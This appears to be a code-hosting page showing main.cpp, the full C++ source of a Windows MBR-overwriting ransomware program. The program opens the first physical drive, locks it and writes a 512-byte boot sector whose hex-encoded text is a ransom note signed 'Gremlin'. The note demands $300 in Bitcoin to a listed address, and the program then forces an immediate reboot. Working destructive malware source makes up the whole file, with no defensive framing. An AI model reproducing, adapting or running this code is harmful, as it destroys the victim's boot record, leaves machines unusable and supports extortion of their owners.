-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
43 lines (30 loc) · 3.5 KB
/
main.cpp
File metadata and controls
43 lines (30 loc) · 3.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <iostream>
#include <windows.h>
#include <string>
#pragma warning(disable : 4996)
int main(int argc, char** argv, char** envp) {
DWORD dwVersion, dwMinorVersion, dwMajorVersion, dwBuildNumber = 0;
HANDLE PhysicalDrive0;
unsigned char Yeeeted[513] = "\xB8\x12\x00\xCD\x10\xBD\x18\x7C\xB9\xC2\x01\xB8\x01\x13\xBB\x0C\x00\xBA\x00\x00\xCD\x10\xE2\xFE\x02\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4F\x6F\x6F\x70\x73\x2C\x20\x79\x6F\x75\x27\x76\x65\x20\x62\x65\x65\x6e\x20\x66\x75\x63\x6b\x65\x64\x20\x62\x79\x20\x47\x72\x65\x6d\x6c\x69\x6e\x2E\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x0A\x49\x66\x20\x79\x6F\x75\x20\x73\x65\x65\x20\x74\x68\x69\x73\x20\x74\x65\x78\x74\x2C\x74\x68\x65\x6E\x20\x79\x6F\x75\x72\x20\x66\x69\x6C\x65\x73\x20\x61\x72\x65\x20\x6E\x6F\x74\x20\x61\x63\x63\x65\x73\x73\x69\x62\x6C\x65\x2C\x62\x65\x63\x61\x75\x73\x65\x20\x74\x68\x65\x79\x27\x76\x65\x20\x62\x65\x65\x6E\x20\x20\x20\x20\x0A\x65\x6E\x63\x72\x79\x70\x74\x65\x64\x2E\x4D\x61\x79\x62\x65\x20\x79\x6F\x75\x27\x72\x65\x20\x62\x75\x73\x79\x20\x6C\x6F\x6F\x6B\x69\x6E\x67\x20\x66\x6F\x72\x20\x61\x20\x77\x61\x79\x20\x74\x6F\x20\x72\x65\x63\x6F\x76\x65\x72\x20\x79\x6F\x75\x72\x20\x66\x69\x6C\x65\x73\x2C\x62\x75\x74\x20\x64\x6F\x6E\x27\x74\x20\x20\x20\x0A\x77\x61\x73\x74\x65\x20\x79\x6F\x75\x72\x20\x74\x69\x6D\x65\x2E\x4E\x6F\x62\x6F\x64\x79\x20\x63\x61\x6E\x20\x72\x65\x63\x6F\x76\x65\x72\x20\x79\x6F\x75\x72\x20\x66\x69\x6C\x65\x73\x20\x77\x69\x74\x68\x6F\x75\x74\x20\x6F\x75\x72\x20\x64\x65\x63\x72\x79\x70\x74\x69\x6F\x6E\x20\x73\x65\x72\x76\x69\x63\x65\x2E\x20\x20\x20\x0A\x0A\x49\x6E\x20\x6F\x72\x64\x65\x72\x20\x74\x6F\x20\x64\x65\x63\x72\x79\x70\x74\x2E\x50\x6C\x65\x61\x73\x65\x20\x53\x65\x6E\x64\x20\x24\x33\x30\x30\x20\x77\x6F\x72\x74\x68\x20\x6F\x66\x20\x42\x69\x74\x63\x6F\x69\x6E\x20\x74\x6F\x20\x74\x68\x69\x73\x20\x61\x64\x64\x72\x65\x73\x73\x3A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x31\x47\x5A\x43\x77\x34\x35\x33\x4D\x7A\x51\x72\x38\x56\x32\x56\x41\x67\x4A\x70\x52\x6D\x4B\x42\x59\x52\x44\x55\x4A\x38\x6B\x7A\x63\x6F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55\xAA";
DWORD ReturnedBytes = 0;
dwVersion = GetVersion();
dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion))); //LOWORD will take the Low Ordered Word of the dwVersion DWORD (double word), then it will
//Take the Low Ordered Byte (8 bits) of the WORD (16 bits) we just extracted from our double word (32 bits).
dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion))); //Same as we just explained but this time we take the High Ordered Byte of the extracted double word.
if (dwVersion < 0x80000000) dwBuildNumber = (DWORD)(HIWORD(dwVersion));
PhysicalDrive0 = CreateFileA("\\\\.\\PhysicalDrive0", 0xc0000000, 3, NULL, OPEN_EXISTING, 0, NULL);
if (PhysicalDrive0 == INVALID_HANDLE_VALUE) {
std::cout << "Fail to write to MBR" << std::endl;
ExitProcess(-1);
}
// Lock Volume
DeviceIoControl(PhysicalDrive0, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &ReturnedBytes, NULL);
// Write to Volume
WriteFile(PhysicalDrive0, Yeeeted, 0x200, &ReturnedBytes, NULL);
DeviceIoControl(PhysicalDrive0, 0x9001c, NULL, 0, NULL, 0, &ReturnedBytes, NULL);
// Close Handle
CloseHandle(PhysicalDrive0);
// Reboot Computer
WinExec("shutdown -r -t 0", 0); // DEPRECATED NEED TO CHANGE IF COMPILING FOR WIN10, BSOD WORKS PRETTY WELL...
ExitProcess(-1);
}